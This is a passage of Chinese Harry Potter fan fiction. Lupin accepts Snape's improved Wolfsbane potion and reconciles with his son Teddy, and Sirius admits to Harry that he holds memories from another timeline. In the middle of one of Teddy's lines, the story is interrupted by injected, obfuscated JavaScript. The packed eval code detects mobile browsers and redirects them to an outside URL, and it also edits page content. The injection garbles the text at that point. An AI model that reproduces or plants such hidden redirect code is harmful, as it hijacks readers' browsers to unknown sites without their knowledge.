他在扶手椅上坐下,看都不看小天狼星,而是直接望向哈利,“小天狼星一向冲动,这我早就习惯了。但是哈利,我以为你至少应该比他更理智一些。”他直接用了“哈利”这个称呼——在这种混乱的局面下,他已经懒得去区分那些细枝末节了。 说到这里,他顿了顿,目光不自觉地扫过正小口抿着牛奶的泰迪。男孩似乎察觉到他的视线,立马坐直了身体。 “如果是为了……那件事,完全可以等我满月之后再说。你们不必急着现在来,更不该选择这个时间。” 哈利摇了摇头,“不,莱姆斯,你误会了。正是因为满月快到了,我们才必须现在来。” 卢平微微蹙眉,哈利的回答完全超出了他的预料。他疑惑地看着哈利从外套内袋里掏出三个细颈水晶瓶,将它们并排放在茶几上。瓶子里的深银色液体,在昏暗的光线下泛着金属般的寒光。 他盯着那三瓶药剂,呼吸一下子重了。脑子里闪过现在最渴望的那样东西——可这颜色不对,质地也不像。 一丝失落划过心头,卢平抬头看向哈利,眼里满是疑问。哈利迎上他的目光,平静道:“这是改良版的狼毒药剂。虽然还在试验阶段,但考虑到制作者的水平,我相信会有效。” 改良版狼毒药剂?卢平脑中轰然一响。狼毒药剂本身就极难获得,价格高昂到足以让大部分狼人倾家荡产,制作工艺更是复杂到只有少数顶尖魔药大师才能掌握。而“改良版”?这简直是闻所未闻!这意味着什么?更强的药效?更小的副作用?甚至……让他彻底摆脱那种撕心裂肺的痛苦,在变形后依旧能保持人类的理智?他不敢再想下去。 “是谁制作的?”他艰难地问道。 “斯内普。” 卢平的反应比刚刚还要震惊:“西弗勒斯·斯内普?” 那个从学生时代起就与“掠夺者”们针锋相对,甚至差点因为那个愚蠢的恶作剧而丧命在尖叫棚屋的斯内普,竟然会研究狼毒药剂?还是改良版?更别提要把这药给他用? 这简直比梅林亲口告诉他狼人可以被治愈还要荒谬! “我就知道你会这表情,月亮脸!”小天狼星在一旁懒洋洋地开口,抱着手臂,眉毛一挑,语气里满是怀疑,“老实说,你敢信斯内普那家伙能搞出什么好东西?要不是哈利非得——” 哈利淡淡地瞥了他一眼。小天狼星立马闭嘴,还夸张地比了个拉链封口的动作。 卢平脑子里早已乱成一团,小天狼星的话他一个字都没听进去。他完全无法理解眼前发生的一切。斯内普凭什么?图什么?他绝不会自恋到认为斯内普是特意为他研究这种魔药的。他们之间充斥着那些误解、敌意和伤害的过去,斯内普怎么可能对他抱有任何一丝一毫的善意?难道是因为邓布利多?还是……他的目光不由自主地飘向了哈利,难道是为了哈利?斯内普把这么珍贵的试验药剂给他服用,背后到底有什么他不知道的交易或者不为人知的隐情? “哦,关于斯内普为什么会研究这个,并且愿意拿出来……我也挺意外的,但我必须说,莱姆斯,这完全是泰迪的功劳。”哈利微笑着说。 “泰迪?” 卢平这才发觉自己把心里的疑问说了出来。他下意识转头,看向那个一直静静缩在沙发一角、几乎没什么存在感的孩子。 也就在这一刻,他才注意到,这个十二岁的男孩不知道什么时候已经红了眼眶,那头原本棕色的头发也在无声无息间,彻底染上了深蓝色。卢平心头一震,随即反应过来——易容马格斯,泰迪继承了唐克斯的能力。 “不是的,不是我的功劳。”泰迪低声反驳,“是西弗……费了好多心思做出来的……” 他说着,眼睛里的泪水像断了线的珠子一样滚下来。仿佛一开口,压在心里的情绪就再也藏不住。他突然从哈利身边站了起来,几步冲到了卢平的面前。卢平还没回过神,男孩已经扑进他怀里,瘦小的胳膊紧紧搂住他的腰。小小的身体在微微颤抖,眼泪很快浸湿了他的外袍。 卢平整个人僵住了,双手悬在半空,手足无措。改良版狼毒药剂也好,斯内普的动机也罢,所有疑问都被这个突如其来的拥抱冲得一干二净。 他能感觉到男孩的颤抖,温热的泪水烫得他心口发紧。这是他的儿子,那个他躲了两个月却每时每刻都在想的儿子。 他的手在半空中挣扎了片刻,终于落下,轻轻搭在泰迪背上。然后,他闭上眼睛,手臂猛地收紧,用力地回抱住了泰迪,将脸深深地埋在了孩子那柔软的头发里。那头带着忧伤深蓝的发色,在他的怀抱里渐渐褪去,变成了柔和的淡紫色。那里有阳光和糖果的味道,是他在这冰冷小屋里从未感受过的气息。卢平闭上眼睛,将这两个月来所有的痛苦、挣扎和思念,还有此刻涌上来的情绪,都尽数融进这个迟来的拥抱之中。 他不知道他们抱了多久,直到泰迪的哭声渐渐小了,变成了轻微的抽噎。哈利和小天狼星安静地等着,谁也没出声打断他们。 卢平轻拍着泰迪的背,心里生出一种奇怪的平静。他不再纠结斯内普的动机,也不再怀疑药剂的可靠性。 “哈利,”他抬头看向一直耐心等待的年轻人,“这个药该怎么服用?” 哈利将斯内普告知的服用方法详细地转述了一遍,又补充道,“你现在就可以开始服用第一剂,要连续服用三天。斯内普要求记录异常反应,比如情绪波动或身体上的一些变化。” 卢平点头:“我会记下的。” 他放开怀中的男孩,从茶几上拿起其中一瓶药剂,拔掉水晶瓶塞。蓝色烟雾从瓶口飘出来,一股难以形容的气味立刻钻入鼻孔。他嘴角扯出一丝苦笑,自嘲般地低语了一句,“反正也不会更糟了。” 在哈利、小天狼星和泰迪紧盯着他的目光下,他仰头把整瓶药剂一饮而尽。那药液异常苦涩,苦味呛得他皱紧眉头。 喝下药剂后,卢平感到一股淡淡的暖意从胃里散开,慢慢流向胳膊腿脚。也不知道是不是心理作用,骨头里的那股隐隐的疼好像真轻了点。 他看向哈利和小天狼星:“好了,药我已经喝了。你们可以带泰迪回峡谷之屋。我会按时服药的。”他顿了顿,语气软化了几分,“等我过了满月期……我会过去,和你们一起过完这个复活节。” 泰迪一直贴在他怀里,听到这话猛地抬头,一脸的倔强:“不!我要跟你在一起!爸爸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156436|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我想陪着你!” 这是泰迪第一次叫他“爸爸”。这个再简单不过的称呼让卢平感到胸口一阵发热。 “不行,泰迪!”他立刻反驳,“你不能留在这里!我现在的情况不稳定,这个改良药剂的效果也不确定。万一我伤害到你怎么办?”他不敢想象那种可怕的后果,光是这个念头就足以让他遍体生寒。 泰迪用袖子擦了把泪:“我知道你担心我。但我已经不是小孩子了。我查阅了很多关于狼人的资料,也和哈利聊过。我知道在满月之前,你并不会失去理智,也不会随便伤人。而且——”他看了一眼旁边的两人,“我相信哈利和小天狼星,他们会保护我们的。” “我就想陪着你,”泰迪吸了吸鼻子,认真地说,“哪怕什么都不做,只要能和你在一起就好。我想和你说说话,想更了解你。哈利说,家人就应该在彼此需要的时候相互支持。如果药剂真的能让你好受一些,我想第一个看到。” “我保证听话,绝不给你添任何麻烦。如果您真的感觉不舒服,或者哈利说有任何危险,我会马上跟他们离开的。请相信我,爸爸,求求你了。” 卢平哑口无言。他看着泰迪那双充满恳求和信任的眼睛,心里的防线一点点垮掉。他不由自主地看向哈利和小天狼星,眼里流露出求助的神色。 泰迪也扭头看向哈利,用同样恳切的目光望着他的教父。 卢平还想说什么,但哈利却先一步走上前,蹲下身,轻轻抚了抚男孩的头发,给了他一个安心的微笑。泰迪似乎从他的动作中汲取到了一些力量,原本有些紧绷的肩膀稍微放松了一点。 做完这一切,哈利才重新站起身,对卢平说:“莱姆斯,泰迪说得对。而且,我们既然来了,就没打算把你一个人丢下。” 他语气从容地做出了安排:“这样吧,泰迪先留在这里陪着你。你们肯定有不少话想聊。” “我和小天狼星先回峡谷之屋一趟,去拿些这两天需要的东西,然后我们会尽快回来。接下来的两天,我们一起陪着你。” “至于满月当晚,”哈利直视卢平,眼神变得郑重,“小天狼星可以以阿尼马格斯形态陪着你。我们还能借这个机会,近距离观察改良药剂的实际效果。如果真的像斯内普所说,它能让你在变形时减轻痛苦并保持清醒,那对你,对泰迪,对所有人来说,都是最好的结果。” 不等卢平张嘴反驳,哈利却接着说:“莱姆斯,你现在的样子,让我想起了很多年前的一件事。” 卢平微微一怔,不明白哈利为何扯开话题。 “那是我七年级的时候。”哈利没有看他,目光落在泰迪身上,那孩子正紧紧抓着父亲的袖子,“战争最黑暗的时候。邓布利多给了我一个任务——和罗恩、赫敏一起。很危险的任务。” “找什么?”小天狼星突然插话,他似乎想到了什么,眼神中闪过一丝惊疑,“该不会是——” “小天狼星,”哈利及时打断了他,“是什么并不重要,至少现在不重要。” 小天狼星撇了撇嘴,嘟囔了一句:“他迟早会知道的。” “那也不能是现在。”哈利无奈地看了他一眼。 卢平的目光在两人间游移,他能感觉到他们在谈论一件极为隐秘且重要的事情,可他现在的心思完全不在那上面。他不明白,哈利为什么偏偏这时候提起这些跟眼下毫不相干的往事。 哈利没有在意卢平的困惑,接着说:“有一天,你找到了我们,说想跟我们一起行动,说我父亲会希望你保护我。” 卢平听着哈利平静的叙述,心中却掀起了惊涛骇浪。保护詹姆斯的儿子——他毫不怀疑自己会做出这样的选择。 然而,哈利的下一句话,让他脸上失去所有的血色,“可那时候,你才刚刚和唐克斯结婚,她还怀着孕。” 卢平的嘴唇颤抖着,一个字也说不出来。 所有人的目光都集中在哈利身上。小天狼星吹了声口哨,随即被卢平凶狠的眼神瞪得赶紧闭嘴,脸上的震惊和好奇却完全藏不住。泰迪瞪大眼睛,目不转睛地看着哈利,显然也是头一回听到这故事。 “你说了很多。”哈利终于转过头,直视着卢平的眼睛,“说和她结婚是个错误。说你不该让她和一个——”他没有说完那个词,但每个人都知道是什么,“说孩子可能会像你一样。说他会以你为耻。” 泰迪在卢平怀里动了动,抬起头看着父亲。 哈利停了停,看向一直贴在卢平身边、因为他刚刚说的话而身子有点僵的泰迪,放柔了声音:“正好,你儿子就在这里。我们可以直接问问他。”他问泰迪,“你会觉得羞耻吗,泰迪?因为你父亲的与众不同?” 泰迪毫不犹豫地使劲摇头,抱紧卢平:“不!永远不会!哈利你说过的,他是英雄!” “很好。”哈利满意地点了点头,重新看向神情复杂的卢平,“显然,只有你一个人这么认为。我敢说我们来之前,你满脑子也是这些想法。” 卢平被他完全说中了心事,只能狼狈地避开他的目光。 “我那时很年轻。”哈利又苦笑了一下,“也很愤怒。我说了些……不太好听的话。” “什么话?” “我说你是个懦夫。我父亲是为了保护家人而死,而你却想要抛弃你的。” 室内陷入一片死一般的寂静。卢平感到自己在那个词面前无所遁形,一阵令人窒息的羞愧汹涌而来,让他无力地垂下了头。 连小天狼星都被哈利如此直白的用词震住了,“然后呢?”他追问。 “然后他用魔杖把我打飞了。”哈利摸了摸肩膀,仿佛那里还有当年的疼痛,“我飞出去老远,撞在墙上。” 出人意料的是,这句话让紧张的气氛稍微缓和了些。小天狼星发出一声短促的笑声:“月亮脸肯定是气疯了。” 卢平没有笑。他低着头,泰迪柔软的头发擦过他的下巴。“后来呢?”他几乎是用气声问的。 “后来你回去了。”哈利的声音变得温柔,“你看着泰迪出生,成了最幸福的人。还让我做了泰迪的教父。” “莱姆斯,我不是要对你说教。我只是想说——”哈利顿了顿,似乎在寻找合适的词语,“恐惧会让我们做出错误的选择。但有时候,最可怕的不是我们害怕的东西,而是因为害怕而错过的东西。” 他伸手轻轻摸了摸泰迪的头:“这孩子等了你很久。不是等一个完美的父亲,只是等你。” 哈利的话重重落在卢平心上。他瞥了一眼小天狼星,见好友用力揉着鼻梁,嘴角的笑也没了。 卢平低头看着泰迪泪光闪烁的眼,再也说不出任何一个拒绝的字眼。他长长地叹了口气,沙哑道:“好吧。但是你得答应我,一旦有任何不对劲,你必须立刻离开,听哈利和小天狼星的安排,明白吗?” 泰迪用力点头,眼泪又冒出来,泪水中却带着笑意,金色的光芒在发间闪烁。他再一次紧紧抱住卢平。 哈利和小天狼星相视一笑,简单商量了下回峡谷之屋需要准备和携带的东西。小天狼星走上前,用力拍了拍卢平的肩膀,挤出一个笑,“放轻松点,月亮脸,有我们在,一切都会好起来的。”哈利也对泰迪叮嘱道:“好好陪着你爸爸,我们很快回来。” 卢平抱着泰迪,或者说,被泰迪紧紧地抱着,看着哈利和小天狼星一前一后地走出了小屋的门口。临出门前,哈利回头说:“顺便说一句,莱姆斯。那天你打飞我之后,我其实挺高兴的。因为那说明你在乎。真正不在乎的人,是不会生气的。” 门轻轻关上,将所有的安静留给父子二人。 卢平低头看向依然依偎在他身边的儿子。泰迪抬起头,用那双清亮的眼睛回望他。 卢平伸出手,轻轻拭去男孩脸上的泪痕,低声道:“饿不饿?我想我这儿还有些饼干。”泰迪愣了愣,点头笑了。 99. 父与子 峡谷之屋的壁炉里,绿色的火焰咆哮着旋转,哈利和小天狼星从飞路网中现身。哈利低头拂去袍子上的灰烬,小天狼星却已大步冲向厨房:“让我瞧瞧该带些什么过去……” 哈利径直走向楼上的卧室,准备给他们收拾几件换洗衣物。还没走两步,就见小天狼星又急匆匆折回楼梯口,声音洪亮:“哈利,带上毯子,多拿几条,那个破地下室晚上冷得要命!”哈利朝他挥了挥手,表示明白。 待哈利提着一个半满的行李箱下楼时,小天狼星还在厨房里忙得不可开交,橱柜被翻得乱七八糟,嘴里念叨着:“吃的,得耐放,最好是哈利和泰迪喜欢的……啊,我想起来了!”他像是发现了什么宝贝似的,从橱柜深处拖出一个蒙着灰尘的盒子,掏出一块大骨头模样的硬橡胶玩具。 “这个好!”小天狼星得意地举起玩具,朝走进厨房的哈利晃了晃,“要是月亮脸那时不清醒,至少有个东西给他磨牙,免得他咬坏自己的爪子……或者我的。”他咧嘴一笑,露出雪白的牙齿。 哈利瞥了眼那个还带着模糊牙印的玩具,又看了看小天狼星那双亮得过分的眼睛,嘴角一弯,揶揄道:“小天狼星,这不会是你自己想啃的吧?” 小天狼星被这句话噎住,随即像是被踩了尾巴的狗一样跳了起来,把那根骨头往身后藏了藏,干咳了两声:“胡说什么!我这是……有备无患!”他随手将玩具丢进准备好的袋子,又埋头翻找食物。 哈利注视着他忙碌的背影,摇了摇头,“别急着回去,小天狼星。泰迪需要和莱姆斯单独相处一会儿,莱姆斯……他也需要。” 小天狼星闻言,紧绷的肩膀松了下来。他直起身,爽快地说:“那我们先去起居室歇会儿,我给你弄点喝的。” 他走到冰箱前,摸出一瓶冰凉的黄油啤酒,给哈利满满倒了一杯,自己也斟上一大杯。他咕嘟灌下一口,回到起居室,整个人懒散地倚进沙发,发出一声满足的叹息。 “梅林的胡子,哈利,你不知道,”小天狼星长舒一口气,灌下一大口啤酒后,整个人都轻松了不少,“我为那家伙操了多少心。想把他从那破屋里拽出来,简直比对付一头挪威脊背龙还累。” “莱姆斯一向如此,顾虑太多。”哈利轻声说。 “一向如此?”小天狼星哼了一声,又喝了一口,啤酒的泡沫在上唇留下一道白痕。他随手抹掉,继续道:“他就爱钻牛角尖。其实这事儿一点也不复杂,对吧?莱姆斯那家伙,看着不声不响,整天叹气皱眉,其实比谁都想要个家。现在好了,梅林直接给他送了个儿子过来——聪明懂事,还是个易容马格斯,最妙的是没遗传他那毛病。他还有什么不满意的?可他呢?躲了整整两个月!” “是啊,泰迪盼这一天盼了很久。”哈利抿了口啤酒,轻声附和。他的目光有些游移,像在沉思什么。 小天狼星放下酒杯,侧头打量着哈利。又是那种感觉——哈利坐在那里,明明就在眼前,却像隔着一层看不见的雾。那双绿眼睛里藏着太多故事,太多他无法触及的过往。 他究竟经历了什么,才变成了现在这个样子? 小天狼星总忍不住想把他当孩子护着,想把所有最好的东西都堆到他面前,弥补那些缺失的爱。可他也清楚,眼前的哈利已是历经磨砺、内心坚韧得足以反过来支撑他的成年人,是一个他必须重新认识的教子。这矛盾的感觉让他心疼,他想了解这个教子,想知道他都经历了什么,可每次话到嘴边,又不知该如何开口。 终于,积压在心底的疑问再也藏不住了。 “哈利,”他坐直身子,“刚才在莱姆斯那儿,你提到……在你的世界,莱姆斯曾经想丢下怀孕的唐克斯,跟你们一起去冒险。” 哈利握着酒杯的手指微微收紧,低头盯着杯子,没吭声。 “那我呢?”小天狼星的声音有些干涩,“那个时候……我在哪儿?为什么没跟你一起?是邓布利多又塞给我什么甩不掉的任务,还是——” 他没有继续说下去,因为他看到了哈利的表情——不是悲伤,悲伤太浅了;不是痛苦,痛苦太简单了。像是即使过了这么多年,那份痛还在心脏深处反复切割,留下的伤口怎么也无法愈合。 小天狼星的心脏传来一阵剧烈的抽痛。答案已经明明白白写在哈利脸上了。 如果他还活着,如果他还能选择,他怎么可能不陪在哈利身边?就像在他的那些纷乱的记忆碎片中,他变成一只瘦骨嶙峋的大黑狗,忍饥挨饿,日夜躲避着魔法部的追捕,也要固执地守在哈利附近,哪怕只是远远地看上一眼,确认他的安全。 他死了。在哈利最需要他的时候,他死了。 自责一下子涌上来,他没想把哈利心里的伤疤扯开。他站起身,走到哈利身边,手重重按在他肩膀上,声音哑得不行:“对不起,哈利,我不该问的,我只是……” 他话未说完,哈利却突然抬起头,打断了他。但他说出的话,却完全出乎小天狼星的意料。 “小天狼星,之前在决斗俱乐部活动上……你说过想送我一把火弩箭,对吧?” 这个突如其来的问题让小天狼星完全愣住了。火弩箭?现在?他们刚才不是在谈论生死吗? 他困惑地眨了眨眼,脸上有些发烫:“呃……对啊。你不是说过,那个什么白恒星是你工作好几年后才出来的玩意儿吗?”他挠了挠后脑勺,“那我想着,现在这时候,火弩箭应该还是最顶尖的扫帚。我记得那玩意儿飞得最快,对吧?当然配得上最好的找球手。谁知道那些老板都跟我说没有,还闹了个大乌龙。” 哈利终于放下酒杯,抬头盯着小天狼星,目光锐利得像要穿透他的灵魂。 “问题是,小天狼星,火弩箭要到今年夏天才会上市。扫帚店的老板没有骗你。所以——” 小天狼星感觉血液一下子涌上头顶,又瞬间退了个干净。 哈利平静地说,仿佛在说一件微不足道的小事,“你到底是从哪里听说‘火弩箭’这个名字的?我记得,上次我住在峡谷之屋的时候,你就提到过一次。” 完了。小天狼星在心里暗骂自己。那些乱七八糟的记忆碎片,他从来没弄清楚时间顺序,只是凭着直觉在用。火弩箭……他怎么就没想到这东西可能还不存在? 他并不是故意要隐藏自己有了那些不属于这里的记忆。只是这些日子,他一直不知道该怎么开口,也猜不透哈利知道后会是什么反应。他会感到困惑吗?会觉得无法接受吗? 哈利像是看透了他的迟疑和心里的纠结,可他显然没打算让小天狼星回避这个问题。他还在看着小天狼星,眼神里有种奇怪的光,清清楚楚地问出了那个问题,“你是我的小天狼星吗?” 这句话像一道闪电劈在小天狼星脑袋上。他呆呆地站在那里,看着哈利眼中那一点微弱却执着的光。 他懂了。哈利想要的是“那个”小天狼星——那个在阿兹卡班度过了十二年黑暗岁月,为了保护他而越狱,在逃亡中将自己所有的爱、支持和希望都倾注给他的教父。 可他是吗? 那些记忆碎片在脑海中翻滚——阿兹卡班阴冷的牢房,摄魂怪吸走所有快乐,只剩下对哈利的担忧支撑着他不发疯;越狱后的逃亡生活,躲在山洞里啃老鼠,却因为能看到哈利而觉得值得;尖叫棚屋里,他问哈利愿不愿意和他一起住,看到那孩子眼中爆发出的光芒…… 这些记忆如此真实,真实到他能感受到每一分痛苦和每一分爱。可这些真的是“他”经历过的吗? 他不是。他给不了哈利“那个”小天狼星能给的、被苦难磨出来的全部,他怕自己会让哈利失望。 可他也不想对哈利撒谎。他接受了这个从未来回来的教子,也希望哈利能接受现在的他——一个不完美、记忆不完整,但真心想要爱护他的小天狼星。 “我很抱歉,哈利。”小天狼星的声音艰涩无比。他看见哈利眼里的亮光在那一瞬熄了,心里像被狠狠扎了一下。 “我……”他索性和盘托出,“我确实有一些不属于这个世界的记忆。不知道为什么,就像有人把别人的回忆硬塞进我脑子里。我看到了另一个我……不,另一个小天狼星·布莱克的一生。” 他开始语无伦次地解释:“我看到自己被关在阿兹卡班,一关就是十二年。我看到自己逃出来,只为了保护你。我看到……”他的声音颤抖起来,“我看到你,哈利。那么小,却要面对那么多危险。没有人真正保护你,德思礼家那些混蛋……梅林啊,我恨不得现在就冲过去把他们全揍一顿。” “我还记得在山洞里的日子。冷得要命,只能吃老鼠和偷来的残羹剩饭。可只要能收到你的信,知道你过得好,一切都值得。我记得问你愿不愿意和我一起住,你脸上的表情……”他哽咽了,“那是我见过的最美好的东西。” 他抬起头,直视哈利的眼睛:“可这些不是我真正经历过的,哈利。我没有被关进阿兹卡班,没有真正为你吃过那些苦。我只是拥有了那些记忆……” “但是,”他的声音突然坚定起来,“这些记忆里的感情,对你的爱,想要保护你的心——这些都是真的。我不知道为什么,可从见到你的第一眼起,我就知道我愿意为你做任何事。不是因为詹姆斯,不是因为责任,而是因为你是哈利,我的教子。” 话音刚落,哈利就突然站起身,大步跨过茶几,用尽全力抱住了他。那个拥抱来得太突然,力道大得让小天狼星差点失去平衡。他能感觉到哈利在颤抖,肩膀剧烈地起伏着。 “哈利?”小天狼星慌了,手足无措地拍着哈利的背,“怎么了?我说错什么了吗?” 哈利把脸深深埋进他的肩膀,声音破碎不堪:“我以为你会从帷幔另一边走出来。” 帷幔?小天狼星心中一震。那些支离破碎的记忆突然清晰地串联起来——神秘事务司,拱门,贝拉特里克斯的诅咒…… “我一直在等,”哈利的声音在发抖,“一直在叫你的名字。可你没有回来。你再也没有回来。” “莱姆斯抱住我,不让我冲过去。邓布利多说你去了另一边。所有人都说你死了。可是小天狼星,你知道吗?你也不会变成幽灵……你是那么勇敢的人,连回头看一眼都不会……” 小天狼星早已从哈利的反应中猜到另一个自己的结局,可亲耳听到他这样悲痛地诉说,心中依然感到一阵恍惚和如同被剜心般的剧痛。他的男孩,他的哈利,一个人承受了这么多。 “我甚至没能跟你道别。”哈利的声音几乎听不清了,“我总想着等打败伏地魔,你就能洗清罪名,恢复名誉,我们就能真正在一起生活……” “哦,哈利。”小天狼星的眼眶发热,他紧紧回抱住哈利,一只手按在他的后脑上,就像安慰一个受伤的孩子,“我在这里。我就在这里。” “对不起,小天狼星,是我太自以为是了。如果不是我……” “不,哈利,该说对不起的是我。”小天狼星哽咽着说,“是我把你一个人扔下了。哦,我当年真是个十足的傻瓜!一个没救的蠢货!我明明看到了彼得的背叛,我明明知道一切,可我当时为什么不立刻把所有事情都告诉邓布利多?我被愤怒冲昏了头脑,一心只想抓住彼得,结果呢?我觉得自己罪有应得,活该进阿兹卡班……可我那时候怎么就没多想想你?把你一个人留在一个没有人真心关心你的地方,让你吃了那么多苦……” 哈利在小天狼星怀里微微僵了一下。 小天狼星的声音低了下去,带着沉重的悔意:“所以,哈利,你完全可以怪我。你可以不原谅我。是我没有尽到教父的责任,是我让你失望了。” 哈利猛地抬起头,松开紧抱的手臂,却依然死死抓着小天狼星的衣袖。他的眼眶红得吓人,此刻的他,不再是那个沉稳的黑魔法防御术教授,而是小天狼星记忆里那个虽然无比勇敢,又敏感脆弱、渴望被爱的少年。 “不,”哈利摇着头,“那不是你的错,我从来没有觉得那是你的错。你不知道你对我来说有多重要!” “哈利,听我说。”小天狼星说,“也许我不是你记忆中的那个小天狼星,也许我没有真正经历过那些。但现在,在这里,我是真实的。我对你的感情是真实的。” “我可能给不了你记忆中那个小天狼星能给的一切,但我保证,我会尽我所能。你不会再失去我了,哈利。这一次,我哪儿也不去。” 一滴泪顺着哈利的眼角掉落。“你发誓?” “我以我的名字起誓。”小天狼星郑重地说,双手按在哈利肩上,“这是个新的开始,属于我们所有人的新开始。这一次,我绝对不会再丢下你,我们都不会。我向你保证,哈利。我保证。” 他顿了顿,挤出一个歪歪扭扭的笑容:“而且你得承认,这里的我保养得更好。没有阿兹卡班摧残,看起来起码年轻十岁。” 这个蹩脚的笑话让哈利破涕为笑。他用袖子胡乱抹了把脸:“我的教父可没你这么幼稚。” 小天狼星把这话当成了赞美,得意地甩了甩头发,又认真起来,“哈利,谢谢你接受我。即使我不是你想要的那个人。” “你就是你。”哈利摇摇头,“也许经历不同,但你还是我的教父。那些记忆……不管它们从哪里来,都让你更理解我,不是吗?” 小天狼星若有所思地点点头。确实,如果没有那些记忆,他可能永远无法真正理解哈利经历过什么,也无法像现在这样感同身受。 “来吧,”他揽住哈利的肩膀,“我们给莱姆斯和泰迪找点好吃的过去。看在梅林的份上,希望月亮脸的家里塞得下。” 哈利笑了,跟着他往厨房走去。 —————— 时间接近中午,尽管身体依然不适,卢平还是硬撑着打起精神,为泰迪准备了一顿说得过去的午餐——几片烤得略焦的吐司,一些从附近集市买来的新鲜奶酪,还有一小锅热腾腾的蘑菇汤。 父子俩在餐桌旁坐下,默默地开始用餐。泰迪看起来还有些拘谨,小口咬着面包,时不时瞄卢平一眼。 卢平也偷偷观察着泰迪——男孩吃东西的方式很斯文,每一个动作都透着良好的教养。是谁教他的?安多米达?还是哈利?这个本该由他承担的责任,却落在了别人肩上。自从知道这孩子是自己的儿子,各种各样的问题就失控一般地在他脑子里乱窜。可真要开口,他却不知从何说起。他们是父子,血脉相连,可说到底,也不过是刚认识没多久。 “泰迪,”卢平清了清嗓子,“你……十二岁了?” 话刚出口,他就恨不得给自己来一记强效遗忘咒。泰迪和小哈利都是霍格沃茨二年级的学生,开学前他还跟詹姆斯一起去国王十字车站送过他们。这么蠢的问题,他是怎么问出来的? 可让他意外的是,泰迪摇了摇头。 “其实挺复杂的。”泰迪放下手里的面包,挠了挠头,“我看起来像十三岁,在霍格沃兹也上二年级,可实际上我才七岁。” 卢平握着汤匙的手停在半空。他眨了眨眼,试图理解这句话:“七岁?” “嗯。”泰迪点点头,看着卢平困惑的表情,补充道,“来这里之前,我刚过完五岁生日没多久。可不知道为什么,一穿越过来,我就……”他低头看看自己的手,“变成这样了。哈利也搞不明白,说可能是时间旅行造成的。” 五岁变成十一岁。整整六年的时光,就这样凭空消失了。 魔法能够做到这种匪夷所思的地步吗?这种突然的改变,会对泰迪的身体造成什么影响吗?会不会像狼人诅咒那样,潜伏在他的血液里、灵魂中,在某个他无法预料的时刻爆发,带来无法挽回的伤害?哈利知道多少,为什么不早点告诉他?但转念一想,自己之前那副拒人于千里之外的冷漠态度,哈利又能怎么开口呢?他们甚至才刚刚知道哈利和泰迪的真实身份没多久…… “这一定很困难。”卢平轻声说,“突然长大,失去了那些年的时光。” 泰迪歪着头想了想,“一开始是有点奇怪。突然能够理解很多以前不懂的东西,身体也不太一样了。不过——”他露出一个小小的笑容,“也不全是坏事。至少我现在能和你这样说话,还能去霍格沃兹上学。要是还是五岁,恐怕只能抱着你的腿哭了。” 这句话让卢平心头一软。他放下汤匙,认真地看着泰迪:“那你还记得小时候的事情吗?” “记得一些。”泰迪的眼神变得有些遥远,“最开始是和外祖母住在一起。她总是给我讲故事,教我认字,还会变出各种颜色的小火花逗我笑。哈利经常来看我们,每次都会带好吃的——巧克力蛙、比比多味豆,还有会飞的小玩具。” 他停顿了一下,声音低了下去:“外祖母身体一直不太好。她去世的时候,我还不太懂什么是死亡。只是觉得房子突然变得好安静,再也没有人在早上叫我起床,没有人给我讲睡前故事了。” 卢平的手指微微颤抖。安多米达一个人抚养着泰迪,直到生命的最后。而他,泰迪的父亲,却不在。 “后来呢?”他努力让声音保持平稳。 “哈利来接我了。”泰迪的脸上重新露出笑容,“他抱着我,说以后我们就住在一起。从那以后,他就是我的家人了。” 家人。这个词像一根针,轻轻刺进卢平心里。 他深吸一口气,试图转移话题:“你妈妈……哈利有跟你提起过她吗?” 泰迪的反应出乎他的意料——男孩立刻坐直了身子,头发瞬间染上了一抹明亮的粉色。 “当然!”泰迪的声音里满是兴奋,“哈利说妈妈是个特别棒的傲罗!她勇敢、风趣,还有点迷糊——有一次把自己的鼻子变成了猪鼻子,结果忘了怎么变回来,在魔法部里转了一整天!” 卢平不由自主地弯起嘴角。这听起来确实像个有趣的姑娘会做的事。 “还有还有,”泰迪两眼放光,神秘兮兮地说,“哈利说是她先追求你的哦!” 卢卢平愣住了。一个年轻漂亮的女傲罗,主动追求他?他下意识地摸了摸自己的脸,想起自己狼人的身份和拮据的生活。如果他的猜测没错,在另一个世界,没有了詹姆斯和小天狼星的帮助和陪伴,他的生活只会更加困顿和孤僻。这样的他,怎么可能被那样的女孩看上? 见卢平不说话,泰迪有些紧张:“爸爸?你现在……认识妈妈了吗?” 卢平沉默片刻,摇了摇头:“很遗憾,泰迪。我们现在还不熟。可能在什么地方见过,但……” “哦。”泰迪的肩膀微微垂下,但很快又振作起来,“没关系的!哈利说你们本来也要过好几年才会认识。现在时间还早呢!” 看着泰迪努力表现出不在意的样子,卢平心里一阵刺痛。 “对不起。”话语不由自主地从他口中溢出。 “为什么要道歉?”泰迪皱起眉头。 “为了一切。”卢平的声音哽咽了,“为了不在你身边,为了让你一个人长大,为了......”他说不下去了,因为泰迪突然站起身,绕过餐桌,走到他面前。 男孩伸出手,轻轻触碰着卢平的脸颊,灰色的眼睛里没有丝毫的责备。 “外祖母说过,你和妈妈是为了给我一个更好的未来才离开的。她说有些事情比生命更重要,虽然当时我不太懂,但我知道你们很勇敢。”泰迪的声音很轻,“她说,这是你们的责任。就像哈利一样。” 卢平闭上眼睛,感受着那只小手传来的温暖。 “可是爸爸。”泰迪小声说,声音里终于流露出属于七岁孩子的脆弱,“我还是好想你。” “哈利说你是那么温柔和博学,是全世界最棒的黑魔法防御术老师。我总是在想,我的爸爸是什么样的人?他喜欢吃什么?他会不会也像我一样爱看书?他知道我存在吗?他会不会也想我?” 泰迪的眼眶红了,声音越来越小:“哈利对我很好,真的很好。可有时候看到别的孩子和爸爸在一起,我还是会……会羡慕。我知道这不对,我不该……” “不,泰迪,这没有什么不对。”卢平一把将男孩拉进怀里,紧紧地抱住他,“想念父母是世界上最正常不过的事。” 